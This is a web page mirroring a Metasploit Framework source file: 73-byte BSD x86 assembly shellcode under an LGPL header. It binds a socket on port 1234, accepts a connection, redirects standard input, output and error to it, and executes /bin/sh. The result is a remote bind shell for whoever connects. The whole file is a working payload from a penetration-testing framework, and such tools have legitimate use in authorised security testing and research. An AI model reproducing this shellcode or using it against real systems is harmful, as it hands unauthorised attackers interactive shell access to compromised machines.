CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/bsd-x86-bndsockcode.s
Views: 11766
1
/*
2
* bsd-x86-bndsockcode.s
3
* Copyright 2004 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
.global _start
22
23
_start:
24
25
# 73 bytes
26
27
bndsockcode:
28
xorl %eax,%eax
29
pushl %eax
30
pushl $0xd20402ff
31
movl %esp,%edi
32
33
pushl %eax
34
pushl $0x01
35
pushl $0x02
36
pushl $0x10
37
movb $0x61,%al
38
int $0x80
39
40
pushl %edi
41
pushl %eax
42
pushl %eax
43
pushl $0x68
44
popl %eax
45
int $0x80
46
47
movl %eax,-0x14(%edi)
48
movb $0x6a,%al
49
int $0x80
50
51
movb $0x1e,%al
52
int $0x80
53
54
pushl %eax
55
pushl %eax
56
57
0:
58
pushl $0x5a
59
popl %eax
60
int $0x80
61
62
decl -0x1c(%edi)
63
jns 0b
64
65
shellcode:
66
# xorl %eax,%eax
67
pushl %eax
68
pushl $0x68732f2f
69
pushl $0x6e69622f
70
movl %esp,%ebx
71
pushl %eax
72
pushl %esp
73
pushl %ebx
74
pushl %eax
75
movb $0x3b,%al
76
int $0x80
77
78
79